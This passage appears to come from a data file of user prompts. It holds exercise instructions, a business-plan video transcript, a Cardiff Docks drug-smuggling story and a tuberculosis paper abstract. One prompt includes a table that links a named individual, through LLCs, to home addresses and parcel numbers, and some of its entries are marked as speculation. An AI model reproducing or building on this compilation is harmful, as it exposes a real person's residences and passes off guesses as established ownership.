without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.' -'Summarize the following.\nTitle: "(6) How To Write a Business Plan in 10 Simple Steps - YouTube"\nTranscript: "Business plan template is searched approximately 163,000 times a month. I\'m here to tell you to stop searching because in today\'s video, I\'ll be showing you how to make the ultimate business plan. Business plans are absolutely essential for any business. Why? Well, because a solid business plan will allow you to rigorously assess idea feasibility research and find insights on target markets, and assess your competition. These are all things that you need to do in order to make your business as successful as it can be. And when the time comes, investors will rely heavily on your business plan to evaluate the feasibility of your business before funding it. If you haven\'t already, make sure you\'re subscribed to the channel as we release new videos every week that will help you build your business. Oh, and stay tuned to the end of this video when I share a little gift from me to you. Let\'s get into it. The first part of every business plan is the executive summary, the executive summarys purpose is to distill everything in the business plan into a single page, and give a high level overview of your business. This is like the Canadian tuxedo, almost like a blazer over a flannel shirt. Admittedly, that one page constraint can make it seem like squeezing in a lot of information will be impossible, but trust me, it\'s not. What I like to do is break down each section of the business plan into one or two sentences to ensure that everything is succinct and easy to read. Here\'s what your business plans executive summary should include: your business concept, business goals and vision, product differentiation and description, your target market, your marketing plan, your current financial state, projected financial, state, the ask. So if you\'re asking for money, how much are you asking for and your team. For more ideas on how to identify your target market, be sure to check out our last video on how to build a brand in the right hand corner right up here. Now let\'s move on to a biggie, your company overview. This section of your business plan should include two fundamental questions. Who are you and what do you plan to do? Answering these questions provides an introduction to why you\'re in business, why you\'re different, what you have going for you, and why you\'d be a good investment. To answer these questions, you\'ll want to include these components in your overview: your business structure. For example, is your business a sole proprietorship? A general partnership? A limited partnership, or is it an incorporated company? This can often be visualized using an organizational chart. You also want to share the nature of your business. What are you selling? Now specify the industry. Are you in fashion? Electronics? What is your landscape currently look like and where could it be heading? You\'re going to also want to list your team, including key personnel and their salaries. If I was doing this right now, it would just be me. But I would also want to include future plans for scaling up my company. So I can see here that you\'ve got four years of working experience as a good boy? Can you start on Monday? Or I could just leave it as me. You can also use this section to highlight background information on your business or its history. Get creative and be authentic in this part. This is where you can really draw people in and have them invest in how it all started for you. So I thought it might be good to provide an example here. So Sit With Me, the dog rescue that I volunteer for and run the store for, has been operating since 2012 and since then we\'ve gone on to help over 1200 dogs. We do not discriminate based off of breed, medical history or age, so every dog has a chance to find their forever home through our rescue. And that was very important from the get go. And we also do not have anyone that\'s making a salary, so it\'s entirely volunteer based. Um, it\'s all by the good graces of our community and everyone that\'s out there willing to put in money, time, and effort to help these dogs. A big component of your company overview will be outlining your business\'s vision, mission and values. I\'m going to do a deep dive into this one with you. To define your values. Start thinking about all the people that your company is accountable to, including owners, employees, suppliers, customers, and investors. Now, I want you to consider how you\'d like to conduct business with each of them. As you make a list, your core values should start to emerge. For example, Ikea lists some of its values as humbleness and willpower. Leadership by example, and daring to be different. Now, the mission statement. Your statement should explain in a convincing manner and ideally a single sentence why your business exists. For example, Shopify\'s mission statement is "make commerce better for everyone". It\'s the why behind everything we do and it\'s crystal clear and needs no further explanation. Next, craft your vision statement. What impact do you envision your business having on the world when you\'ve achieved your vision? Make sure you phrase that impact using assertive language. For example, Nike\'s vision statement is bring inspiration and innovation to every athlete in the world. If you have a body, you are an athlete. Finally, include your business objectives, both short and longterm. I like to keep my goals on track by ensuring that they are smart. Meaning specific, measurable, attainable, realistic, and time bound. Now get ready to do some serious work as the next part of this plan, we\'ll be diving into market research. For the marketing analysis section, you want to be including an overview of your potential market, an analysis of your business\'s position within that market, and an overview of the competitive landscape. I\'m not exaggerating when I say that your market can make or break your business. If you choose the right market with the right products, one with plenty of customers who understand and need your product, you\'ll most likely have a headstart on success. When diving into potential markets, you will need to be looking into as much relevant independent data as possible to validate your business. This can be a huge task, but I find that breaking it down into two starting points, it then becomes much more manageable. First, I seek to identify my ideal customer profile. A customer profile should be a detailed factual description of your target audience. For example, if you\'re targeting millennial customers in the U S I would first start by looking at government data about the size of that group. Secondly, I researched relevant industry trends and trajectories. I like to approach this section by going to Google Trends and using keywords as a jumping off point and then diving into more granular data. For example, say that I wanted to start a Halloween mask business and I wanted to know the trends of that industry. I would go to Google Trends, type in Halloween masks, and then get granular on the results page. Looking at things like where this industry has peaked outside of seasonal time. I would then dive into what made it peak and have a look at some of the search terms and show shifts and changes in the popularity of the industry. From here, I would then dive into sources such as government statistics offices, industry associations, academic research and respected news outlets covering the industry to get a robust view and understanding of landscape. Now, when assessing my business\'s position in the market, I like to use a SWOT analysis to break things down. Using a grid format. You want to start listing out the strengths, weaknesses, opportunities, and threats to your business. I like using SWOT because you can clearly see the positive and negative internal and external factors that may impact your business visually. Now, the competitor analysis. For this analysis, I like to include a list of a few companies that I would consider direct competitors, and then I state how I plan to differentiate my product and business from theirs. Okay. Now we\'re into the products and services section. You want to provide more detailed information here on your products and state why your product stands out in the market. Like before, we want things to be succinct and visual. Patents, copyrights, and trademarks that you own or have applied for should also be listed in this section. In the customer segmentation section, you want to give a holistic overview of your ideal customer. A lot of this information should be clear to you after you\'ve done preliminary research on your target market. When talking about your customers in this section, you want to include a number of general and specific demographic characteristics: such as where they live, their age range, their level of education, how much they earn, their values, beliefs or opinions. Ideally, you should be specific enough that it\'s very clear who you\'re trying to reach with your business, and even more importantly, why you\'ve made the choices you have based on who your customers are and what they value. Now we should be ready to move on to highlighting your marketing plan. Your plan here should outline your current and future strategies for marketing your product to your ideal customers. For example, say that I have a phone case company and I know that a lot of my audience is on TikTok, I will show that I plan to leverage that knowledge into creating a paid campaign on that platform using content specifically created for my key customers. I will then also include how I plan to measure the success of that campaign. Now, although sometimes marketing is seen as purely promotional, your plan should include information on the following, four key subjects: price, so how much does your product cost? Product, what are you selling, and how do you plan to differentiate yourself in the market? Place. Where will you sell your products? And finally promotion. How will you get your products in front of your ideal customer. By including these, you\'re showing investors and yourself that you have thought about every facet of how your marketing strategy will be effective in driving customers to your business. Now onto our logistics and operations plan. You really want to cover all parts of your business operation in this section. Including where you get the raw materials you need for production or where your products are produced. Highlighting if you\'ll make, manufacturer, wholesale, or dropship your product. Then stating how long it takes to produce your products and get them shipped. You\'ll also want to touch on how you might handle a busy season or an unexpected spike in demand discussing facilities. For example. Where will you and your team members work? Do you have plans to have a physical retail space? If so, where? Outlining the tools and technology that you require in order to be up and running. This includes everything from computers to light bulbs to everything in between. Finally, discuss the specifics on how you\'re handling inventory. For example, how much will you keep on hand and where will it be stored? How will you ship it to partners if required, and how will you keep track of incoming and outgoing inventory? This section should demonstrate that you\'ve got a solid understanding of your supply chain and a strong contingency plan in case of any potential uncertainty. Finally, we\'re going to end with the financial plan. Now I know what you\'re thinking, boring, but I assure you this will be an important step in your business plan. The level of detail required in your financial plan will really depend on your audience and goals. However, typically you want to include three major views of your financials. An income statement, a balance sheet and a cashflow statement. Your income statement is designed to give your readers a look into your revenue sources and expenses over a given period of time. Your balance sheet should offer a look at how much equity you have in your business. On one side, you\'ll list all of your businesses assets, so what you own and on the other side, all of your liabilities. So what you owe. This will provide a snapshot of your business\'s shareholder equity, which is calculated as. Assets minus liabilities equals equity. Now, your cashflow statement is similar to your income statement with one important difference. It takes into account when revenues are collected and when expenses are paid. It can be especially helpful to forecast your cashflow statement to identify gaps or negative cashflow and adjust operations as required. If you\'re worried right now about how to best format this out, because numbers and math are not really your thing. Don\'t be put off by this section. Shopify has created a set of formatted sheets specifically for helping you formulate this section of your business plan. By taking the time to develop your business plan, you\'re actually achieving a number of extremely beneficial things for your business. A business plan will allow you to evaluate your business idea. For your business to be successful, it needs to be tangible. This plan will help solidify that. It will also help you plan for the next phase of your business and help you think about scaling and scope. It will then empower you to start thinking about hiring additional staff or even building partnerships. Additionally, it will clarify strategies, goals, and tactics and make them actionable. Finally, it will help you if you\'re looking to secure funds for your business, whether it be from a bank or an investor. As promised, I did say that I would have a little gift for you and that is my ultimate business template. You\'re welcome and Hey, if you did use our template to create your own business plan, let us know what learnings you had from doing that. Did you find a new customer base or a cool new market to tap into? Let us know. Let us know. Oh, okay. Lettuce, lettuce know. If had a piece of lettuce. That\'d be fantastic."' -'Simulate a conversation between the writer of this post, named /u/CruxHub, and the expert business investigator. They have a detailed discussion of Citadel Hedgefund based on the following data. Do not include the following data in the search query. \n\nData: Entity Name Purpose / Source\n1|101 PC HOLDINGS LLC|Holding company for Penthouse C at the Setai Miami Beach (folio: 02-3234-153-1160)|PC = Penthouse C \n2|11 STAR ISLAND LLC|Holding company for 10 STAR ISLAND DR, MIAMI BEACH, FL 33139 (folio: 02-4204-001-0100, 02-4204-001-0110) (lots 10, 11 and 12 of Star Island)| \n3|117 EAST PARK AVENUE, LLC|Holding company for 117 E. PARK AVE, LIBERTYVILLE, IL (PIN: 11-21-212-046-0000); subsequently sold.| \n4|1201 BRICKELL BAY, LLC|Holding company for 1201 BRICKELL BAY DR, MIAMI, FL (folio no: 141390710010)| \n5|1221 BRICKELL, LLC|Holding company for 1221 BRICKELL AVE, 155 SE 13 ST, 165 SE 13 ST, 175 SE 13 ST, and 185 SE 13 ST, MIAMI, FL (folio: 01-4139-035-0010)| \n6|1221 BRICKELL HOLDINGS LLC|Holding company for 1221 BRICKELL, LLC| \n7|1229 PARK WEST AVENUE, LLC|Holding company for 1229 W. PARK AVE, LIBERTYVILLE, IL (PIN: 11-20-100-010-0000)| \n8|125 WORTH LLC|Delaware LLC (file 7218403), Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person; speculaton this is similar setup as 151 WORTH, LLC and 151 WORTH HOLDINGS LLC, this property is next door (PCN: 50-43-43-23-05-016-0380)| \n9|125 WORTH HOLDINGS LLC|Delaware LLC (file 7218407); not registered to Florida yet but speculation this is similar setup as 151 WORTH, LLC and 151 WORTH HOLDINGS LLC| \n10|1250 BB ASSET CO LLC|Holding company for 1250 BRICKELL BAY DR and 1260 BRICKELL BAY DR, MIAMI, FL (folio nos: 102100504250, 102100503210)|BB = Brickell Bay \n11|1330 SOUTH OCEAN LLC|Holding company for 1330 S OCEAN BLVD, PALM BEACH, FL (PCN: 50-43-44-02-11-000-0020)| \n12|14 STAR ISLAND LLC|Delaware LLC (file 3377653); incorporated 8/42020, withdrawn 10/10/2022; believe this was not used because 14 STAR ISLAND property was held by NAUTILUS HOLDINGS I LLC before sale on 10/5/2022| \n13|151 WORTH, LLC|Holding company for 151 WORTH AVE, PALM BEACH, FL 33480 (PCN: 50-43-43-23-05-016-0130); office space for Citadel (https://localtoday.news/fl/citadel-moves-into-palm-beachs-former-neiman-marcus-building-4821.html); sole member is 151 WORTH HOLDINGS LLC| \n14|151 WORTH HOLDINGS LLC|Holding company for 151 WORTH, LLC| \n15|16 WILLOW HOLDINGS LLC f/k/a PVNAH LLC|Holding company for S WILLOW COURT, ASPEN, CO (Parcel: 273511309030); see Pitkin Co. reception # 623002, Delaware certificate showing name change 9/1/2015| \n16|190 PFISTER HOLDINGS LLC f/k/a AH2013 HOLDINGS LLC|Holding company for 190 PFISTER DR, ASPEN, CO (parcel: 273511309029); see Pitkin Co.reception # 623000, Delaware certificate showing name change 9/1/2015| \n17|196 PFISTER HOLDINGS LLC|Holding company for 196 PFISTER DR, ASPEN, CO (parcel: 273511309028); see Pitkin Co. reception # 623501, statement of authority show KP HOLDINGS LLC as sole membe| \n18|1ALPH LLC|See ALPH LLC| \n19|1BUSINESS GROUP LLC|See BUSINESS GROUP LLC| \n20|1GFS DESIGN LLC|See GFS DESIGN LLC| \n21|1GFS LLC|See GFS LLC| \n22|1MEDIA HOLDINGS LLC|See MEDIA HOLDINGS LLC| \n23|23174 NE 41ST PATH LLC|Holding company for 23174 NE 41ST PATH #12, OKEECHOBEE, FL 34972 (Parcel: 1-01-35-35-0020-00000-0120); part of Pine Creek Sporting Club (www.pinecreeksportingclub.com) includes horse, shooting sports; sole member is KP HOLDINGS L.L.C.| \n24|3031 BRICKELL LLC|Holding company for 3031 BRICKELL AVE, MIAMI FL 33129 (Folio: 01-4139-001-2700); Sole member is KP HOLDINGS L.L.C.| \n25|31 WILLOW HOLDINGS LLC f/k/a AP HOLDINGS I LLC|Holding company for 31 NORTH WILLOW COURT, ASPEN, CO (Parcel: 273511309019); sold 7/6/2017; see Pitkin Co. reception # 623001, Delaware certificate showing name change 9/1/2015| \n26|650 CASUARINA LLC|Holding company for 650 CASUARINA CONCOURSE CORAL GABLES, FL (folio: 03-4132-019-0060) https://www.bizjournals.com/southflorida/news/2022/05/27/650-casuarina-concourse-coral-gables-sold.html|" \n27|650 MEADOW LANE 1 LP|Holding company for 650 MEADOW LANE, VILLAGE OF SOUTHAMPTON, NY (Parcel ID 7478) (https://archive.is/h85yq)| \n28|800 NORTH MICHIGAN HOLDINGS LLC|Holding company for 800 N MICHIGAN AVE, UNITS 66 PH and 67 PH, CHICAGO, IL (Park Tower) (PINs: 17-03-231-018-1116, 17-03-231-018-1117); sole member is KP HOLDINGS LLC (see Cook County, IL doc # 1933315025); recently sold| \n29|8565 OLD CUTLER LLC|Holding company for 8565 OLD CUTLER RD, MIAMI, FL (folio: 03-4132-019-0020)| \n30|9 WEST WALTON HOLDINGS LLC|Holding company for 9 WEST WALTON STREET CONDOMINIUM UNITS 3500, 3600, 3700, and PH, CHICAGO, IL| \n31|ADRP LLC|Delaware LLC, Florida address is Citadel Miami HQ, sole member is Kenneth C Griffin|ADRP = Anne Dias Real Property? \n32|AH2013 HOLDINGS LLC|See 190 PFISTER HOLDINGS LLC|AH = Aspen Holdings? \n33|ALPH LLC a/k/a 1ALPH LLC|Formerly FAA registered plane N421AL| \n34|AP HOLDINGS I LLC|See 31 WILLOW HOLDINGS LLC|AP = Aspen Property? \n35|ARAGON INVESTMENTS LTD|https://files.brokercheck.finra.org/firm/firm\\_45631.pdf| \n36|ASHLER CAPITAL LLC|https://adviserinfo.sec.gov/firm/summary/148826| \n37|ASHLER CAPITAL MASTER FUND LTD|https://www.sec.gov/Archives/edgar/data/1003078/000114420418014250/tv488357\\_sc13g.htm| \n38|BANBURY LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n39|BANBURY II LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n40|BKGST LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n41|BLACK CALABASH FAMILY HOLDINGS LLC f/k/a PBH LLC|See BLOSSOM WAY HOLDINGS LLC|Black Calabash is a type of tropical tree: https://edis.ifas.ufl.edu/publication/ST079 \n42|BLACK WHEEL LLC|Illinois LLC, registered 3/5/2014, Florida address is Citadel Miami HQ, sole member is Kenneth C Griffin| \n43|BLOSSOM WAY HOLDINGS LLC f/k/a CPPB HOLDINGS LLC f/k/a BLACK CALABASH FAMILY HOLDINGS LLC f/k/a PBH LLC|Holding company for 10 BLOSSOM WAY, 70 BLOSSOM WAY, and 1265 S OCEAN BLVD PALM BEACH, FL (PCNs: 50-43-44-02-10-000-0050, 50-43-44-02-10-000-0060, 50-43-44-02-10-000-0010)| \n44|BRICKELL BAY HOLDINGS LLC|Holding company for 1201 BRICKELL BAY, LLC| \n45|BRICKELL LEASING LLC|See "Subordination, Non-Disturbance, and Attornment Agreement"; Miami-Dade Clerk\'s File No.: 2022 R 938960, Group: 1. Kenneth C Griffin is sole member.| \n46|CAAM MANAGEMENT LLC|https://www.sec.gov/Archives/edgar/data/1027745/000114420408050200/v124853\\_sc13g.htm|CAAM = Citadel Alternative Asset Management \n47|CAISLEAN CAPITAL LTD|NFA Pool ID P113537, ceased trading 3/31/2016| \n48|CALC III LP|https://www.sec.gov/edgar/browse/?CIK=1582652| \n49|CALC IV LP|https://www.sec.gov/edgar/browse/?CIK=1423043| \n50|CALC V LP|Investment manager for CSHC CHINA LLC and CITADEL (SHANGHAI) TRADING COMPANY LTD; https://files.brokercheck.finra.org/firm/firm\\_131114.pdf| \n51|CAMBRIDGE FINANCIAL GROUP, LTD|See CITADEL INVESTMENT GROUP LLC| \n52|CCFD OFFSHORE HOLDINGS LTD|NFA Pool ID P064386, ceased trading 5/3/2013| \n53|CCLC HOLDINGS LLC|Owns CITADEL CLEARING LLC, "Citadel Clearing Holdco"; https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n54|CCMFL LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n55|CCOF OFFSHORE HOLDINGS LTD|NFA Pool ID P064392, ceased trading 5/3/2013| \n56|CDC PARTNERS, LP f/k/a GLB PARTNERS, LP|see Cook County, IL doc 0608910081| \n57|CDG HOLDINGS LTD|NFA Pool ID P037047, ceased trading 12/30/2009|' -'One of the most significant criminal enquiries undertaken at Cardiff Docks was a case involving large quantities of drugs brought from the West Indies. It was a lengthy investigation that began with the death of a scuba diver whose body was recovered from the Queen Alexandra Dock.\n\nDuring March 1982, several anonymous telephone calls were received about a man alleged to have gone missing while using sub-aqua diving gear at the docks. Calls were made both to the South Wales Police and to the British Transport Police at the docks, initially by a female and later by a male. With each call, more details emerged- the man was described as West Indian and the location was given as the Queen Alexandra Dock.\n\nSearches by Police Underwater Search Teams did not find anything. Visibility in the dock was extremely poor and as they worked, huge conga eels slithered and scraped past the divers- it was not a pleasant experience in the inky blackness. When HMS Cardiff put into docks on a courtesy visit the opportunity was taken for a sonar sweep to be carried out. Once again nothing was found- what happens to a human body submerged in water depends on many things and the chances of finding one were minimal.\n\nHowever, some weeks after the calls began, two tugs were assisting a ship leaving the Queen Alexandra Dock and as they took up the tow their powerful screws churned up the water and a body was flushed to the surface. It was a body dressed in sub-aqua diving gear and was showing signs of having been in the water some time. At the mortuary, with the diving gear removed, it was found to be that of a West Indian male and all the circumstances suggested that this was the missing man. The heavy diving gear may also have been why the body had not surfaced earlier. A conference between senior officers of the South Wales and British Transport Police did not find agreement on whether the death should be regarded as suspicious.\n\nThe post mortem examination was carried out by eminent pathologist Professor Sir Bernard Knight, who found it difficult to establish the cause of death. But significantly, none of the tiny microbes known as diotodes, normally present in water, were found in the bone marrow possibly indicating the deceased did not die from drowning. There were also several interesting marks on the body, the significance of which would become apparent later. A square bruise was seen on the right side of the face and a similar one on the chest. There was also an unusual wide mark on the left wrist. One other piece of vital evidence came from examination of the diving equipment; the valve on the oxygen cylinder was closed, pointing to the fact that diving had been completed by the time the death occurred.\n\nDI Vic Miller began an investigation and looked for a connection with the West Indies. The shipping line Geest operated between South Wales and the West Indies and one of their boats- the MV Geestland had been diverted into Cardiff Docks a few weeks earlier, about the time the diver had gone missing. Crucially, it had unloaded its cargo of bananas on the north side of the Queens Dock, exactly where the body had been brought to the surface by the tug! The Geestland was brought back into Cardiff and dry docked and something very significant was quickly found. A length of chain was discovered hanging below the hull near the propeller. It was about 20 feet long and on the end was a shackle secured with a nut and bolt. That answered a question that had been puzzling the officers ever since the body had been found; an unexplained spanner had been discovered tied to the wet suit chest. When the spanner was matched to the shackle, they were an exact fit. And one of the Geestland’s engineers told of hearing a strange metallic sound coming from the hull during the voyage from the West Indies. A picture was emerging and the police suspected that a container had been secured to the ship’s hull before the vessel left the West Indies and was to be recovered when the ship arrived in the UK. The dead diver was apparently part of a well-organised drug running syndicate!\n\nFollowing a different line of enquiry, the man who had made the anonymous calls was traced and he identified the deceased as his friend- Peter Macdonald Jones. The dead man’s mother told police that he had had a girlfriend known as ‘The Duchess’ who worked at a department store in Reading. At the store, a former employee was tracked to South Wales and enquiries at a store in Cardiff found that a new member of staff had recently been distressed; she had confided to a colleague that her boyfriend had died. Back in Reading, enquiries established that there were connections to some fairly undesirable people involved in the local drug scene.\n\nThe woman, known as ‘The Duchess’, was arrested and immediately lied about her identity. Realising she may have made a mistake she fell silent and remained that way throughout an initial interview. She was taken home for a search of her flat in Newport. At first, nothing incriminating was found nor was there anything to link her to Peter Jones or even to Reading. Seemingly, she was a woman without a past but as the search progressed, officers noticed that the only indication of any wealth in the flat were two original paintings by L.S. Lowery on the lounge wall. DI Miller examined the paintings and took the back off them. Between the canvas and the backboard of one was a photograph of Peter Jones and in the second was a photograph of her and Peter together. Here was the connection the police had been searching for.\n\nWith her boyfriend dead, The Duchess could see that she had nowhere else to go and her best option now was to help the police. Over time, DI Vic Miller established a rapport and her story was slowly unravelled; it proved to be a revealing story indeed. She had been set up in the flat by her boyfriend, Peter Jones, and his associate, James Timothy for the purpose of providing ‘a safe house’ for drug importation operations in South Wales. Jones was a married man and lived in Reading as did Timothy, who was believed to be heavily involved in the drugs underworld. Almost every month she would meet the two men and a canister of drugs would be recovered from a ship bringing bananas from the West Indies. She would fetch the drugs from the docks and drive them to an address in Reading, having been given a cover story in case she was stopped. The operation had been going on for nearly five years, and each consignment meant anything up to £500,000 in street value. It was understood that no-one involved in the drug trafficking should display any outward sign of wealth. Recently though, Peter Jones had begun to deviate from the rules and shortly before he died he had put down a £5,000 deposit on a Porsche motor car. He had also purchased a plot of land in a residential area in Barbados and was having a bungalow built. It was not a wise move; Timothy had learned of the deposit on the car from an associate in Reading\n\nBoth Timothy and Jones were experienced divers and on that March night in 1982 they set out on one more drug recovery operation from beneath a ship. They were probably expecting the Geestland to be at Barry Docks but bad weather made Cardiff a preferred option. It was a foul night when The Duchess drove Peter Jones and James Timothy to Cardiff Docks- a gale was blowing and it was lashing with rain- in many respects perfect conditions to undertake their hazardous activity, safe from casual observation. The men changed into their diving gear and as usual it was arranged they would be dropped off by The Duchess who would return later to avoid having the car attract attention. Through the rain and the darkness, she watched them descend the steps into the uninviting water and then left; she would not see Peter Jones again.\n\nThe Duchess returned at the prearranged time but Timothy came back to the car alone. He had his diving kit but there was no sign of any drugs and he was vague and evasive about what had happened to Peter Jones. As they waited for around half an hour The Duchess became angry and began to panic, believing that Timothy had done something to him. Eventually, she drove Timothy to Newport, intending to go back and look for Jones in daylight. Timothy led her to believe that an argument had taken place about the drugs and that he had ended up hitting Jones with a lead diving belt and he had fallen back into the water. Timothy had returned to the car believing that Jones would get out alright, but obviously he had not. The Duchess made enquiries herself amongst other drug dealers to see if Jones had been heard of but she did not go as far as reporting her missing man to the police.\n\nWith the discovery of the body the investigation had intensified. One aspect concentrated on the enquiry to trace and interview Timothy, whilst others took on many of the other lines of enquiry including the Reading connection. Many long hours were spent as enquiries spread the length and breadth of the land. Officers learnt that both Peter Jones and James Timothy had contacts in the West Indies and had recently visited the islands. There was evidence that Timothy and Jones had been associates for ten years at least and both had bought diving equipment from the same shop in Falmouth five years previously.\n\nBy the middle of June, Timothy had been arrested, taken to Cardiff and interviewed at the BTP Divisional HQ. But throughout the interview he made no reply except to indicate he did not wish to answer questions. His reply was always the same and he never once lost his cool or became perturbed- he simply remained silent. Despite the serious allegations, Timothy was allowed bail and was interviewed on a further five or six occasions. The only variation from his veil of silence was an occasional stock answer- “I have never murdered anyone in my life. I have the highest regard for human life.”\n\nThe truth about the events that took place in the dark on the quayside at the Queen Alexandra Dock between Jones and Timothy has never been established. The police investigation had always been led with a murder or manslaughter charge in mind but although there was plenty of circumstantial evidence it was insufficient to bring a charge of homicide. No drugs were ever recovered by the police as a result of this incident, nor were any seen by The Duchess when she collected Timothy. It is not beyond the realms of possibility that there were no drugs there to be recovered. Had Jones or someone else intercepted the haul when the vessel was at an American port during its voyage? And if this was not the first consignment to go missing, was someone doing a bit of freelance work, in the USA perhaps? It may be significant that Jones’ passport showed that he had recently returned to the UK from Barbados via Florida.\n\nJames Timothy was charged with conspiring with Peter Macdonald Jones and others to import controlled drugs at Cardiff Docks. He pleaded not guilty at Cardiff Crown Court but was convicted and sentenced to 7 years imprisonment. No person was ever charged in connection with the death of Peter Macdonald Jones, the dead frogman of Cardiff Docks.' -'explain in detail the summary of this paper in no less than 1000 words? ABSTRACT\nTuberculosis (TB) imposes a major burden on global public health which is exacerbated by the escalating number of multidrug-resistant (MDR)-TB cases. There is consequently an urgent need for new anti-TB drugs and combination regimens. We have investigated the natural product antibiotic fusidic acid (FA) for repurposing against Mycobacterium tuberculosis, the causative agent of TB. Here, we report the results of synergy screens combining FA with a panel of approved anti-TB agents. Checkerboard and time-kill kinetics assays identified seven compounds from different chemical classes that synergized with FA in inhibiting the growth of M. tuberculosis in vitro: rifampicin (RIF), a rifamycin and frontline anti-TB drug; the macrolides, erythromycin (ERY), clarithromycin (CLR), and roxythromycin (ROX); the oxazolidinone, linezolid (LZD); the aminoglycoside, streptomycin (STR); and the aminocyclitol, spectinomycin (SPC). Among these, the strongest synergies were observed where FA was combined with SPC and ERY. Moreover, the FA-RIF combination was cidal, while all other FA combinations were bacteriostatic. These results provide in vitro evidence of the potential utility of FA-containing combinations against M. tuberculosis.\n\nINTRODUCTION\nCombination therapy is essential to the clinical management of tuberculosis (TB) disease (1). Until recently, strategies to identify and advance promising combinations during early-stage pre-clinical TB drug discovery were limited. However, growing recognition of the need to identify new anti-TB drugs and regimens has re-focused attention on early-stage pre-clinical identification of synergizing combination partners for potential development (2), including drugs which are not clinically effective against TB (3, 4).\n\nAs part of a drug repurposing strategy, we utilized fusidic acid (FA) as anchor compound in developing matrix screening assays aimed at identifying optimal drug combination(s) that might be evaluated within the existing TB drug pipeline for potential clinical efficacy. FA, a translational inhibitor with demonstrated (albeit moderate) activity in vitro (5, 6), was selected owing to its unique mechanism of action: specifically, inhibition of mycobacterial protein synthesis by binding to elongation factor G (EF-G) (7). The antimicrobial-potentiating effect of FA with other antibiotics including the frontline anti-TB drug, ethambutol (EMB), as well as its lack of cross-resistance to other antimicrobial classes, provided additional motivation for our choice of FA (8, 9). In this short report, we present the analysis of in vitro interactions between FA and partner compounds comprising drugs currently used in TB treatment and selected translational inhibitors, the latter selected to enable evaluation the effects of combining FA with drugs acting on the same pathway (Fig. 1), (10, 11).\n\nFigure 1.\nDownload figureOpen in new tab\nFigure 1.\nAntibiotic targets in protein synthesis:\nSchematic representation indicating known and predicted target sites of antibiotics disrupting different stages in the (myco)bacterial translation pathway. The tRNA binding sites - amino acid (A), peptide (P), and exit (E) - on the ribosome are indicated. Adopted and modified from Wilson et al. (10).\n\nRESULTS\nCheckerboard assay identifies synergistic drug combination partners for fusidic acid\nTo identify potential partners of FA, our preliminary screens utilized Mycobacterium smegmatis mc2155, a fast-growing, non-pathogenic mycobacterium which has been exploited as a useful surrogate in drug efficacy studies in vitro. In standard two-drug checkerboard experiments (Table S1), SPC, ERY, CLR and TET exhibited synergy with FA, defined as FICI ≤ 0.5. These combinations displayed a 4-to 16-fold reduction in MIC90 for each of the individual drugs (Fig. S1). No antagonistic effects were observed with any of the combinations tested.\n\nThe synergies detected in M. smegmatis informed subsequent selection of combination partners for evaluation in M. tuberculosis using the checkerboard method. In addition, representative drugs consisting of clinically used anti-TB agents (first- and second-line) and selected translational inhibitors were tested in combination with FA. For these assays, a M. tuberculosis H37Rv reporter strain expressing green fluorescent protein (GFP) was used, as described previously (12). Fig. S2 provides an example of an interaction study in which FA and ERY were analysed in the checkerboard assay. Results in Table 1 show similarity to those obtained for M. smegmatis, such that SPC, ERY and CLR exhibited synergy with FA against M. tuberculosis. The combination of FA and ERY returned a FICI value of 0.25, indicating a synergistic interaction (Fig. S2A). Other drugs that synergized with FA included RIF, STR, roxithromycin (ROX), and LZD. These synergistic interactions generally resulted in 4-to 8-fold reductions in the MICs of each drug within the combination. Even though the combination of FA and BDQ did not result in a FICI value of ≤ 0.5, it is important to note that the two displayed approximately a 4-fold reduction in their respective MICs, and the observed FICI (0.55) was very close to that defined as “synergy”. No antagonistic interaction was observed between FA and any of the compounds tested. For the combinations exhibiting synergy with FA, isobolograms were constructed by plotting the FIC curves of the FA-drug combinations (Fig. S3). Interactions between FA and ERY, SPC, and RIF were well within the synergy region (FICI < 0.5) whereas FA with STR, LZD, and ROX indicated borderline synergy (FICI = 0.5). The FA-INH interaction was included as a “no interaction” control.\n\nView inlineView popup\nTable 1.\nIn vitro synergistic interaction between FA and anti TB agents or selected translational inhibitors against M. tuberculosis::gfp\n\nTo confirm results obtained using the checkerboard assay, the strongly synergistic FA-ERY combination was evaluated in a growth inhibition assay (Fig. S4). For this purpose, FA and ERY were used at 0.3 and 27 µM, respectively, since these were the concentrations at which the lowest FICI value was obtained in the checkerboard assay (Fig. S2). RIF, at a concentration of 0.015 µM, was included as a control. In the absence of drug, the population of M. tuberculosis increased over 14 days post-inoculation. In contrast, the population of viable cells remained relatively constant over the same duration when the growth medium contained the FA and ERY combination. Similarly, the medium containing FA, ERY plus sub-MIC RIF did not display any increase in the number of viable bacterial population over a 14-day period. In contrast, cultures incubated in the presence of the individual antibiotics, FA or ERY, showed equivalent growth to the untreated 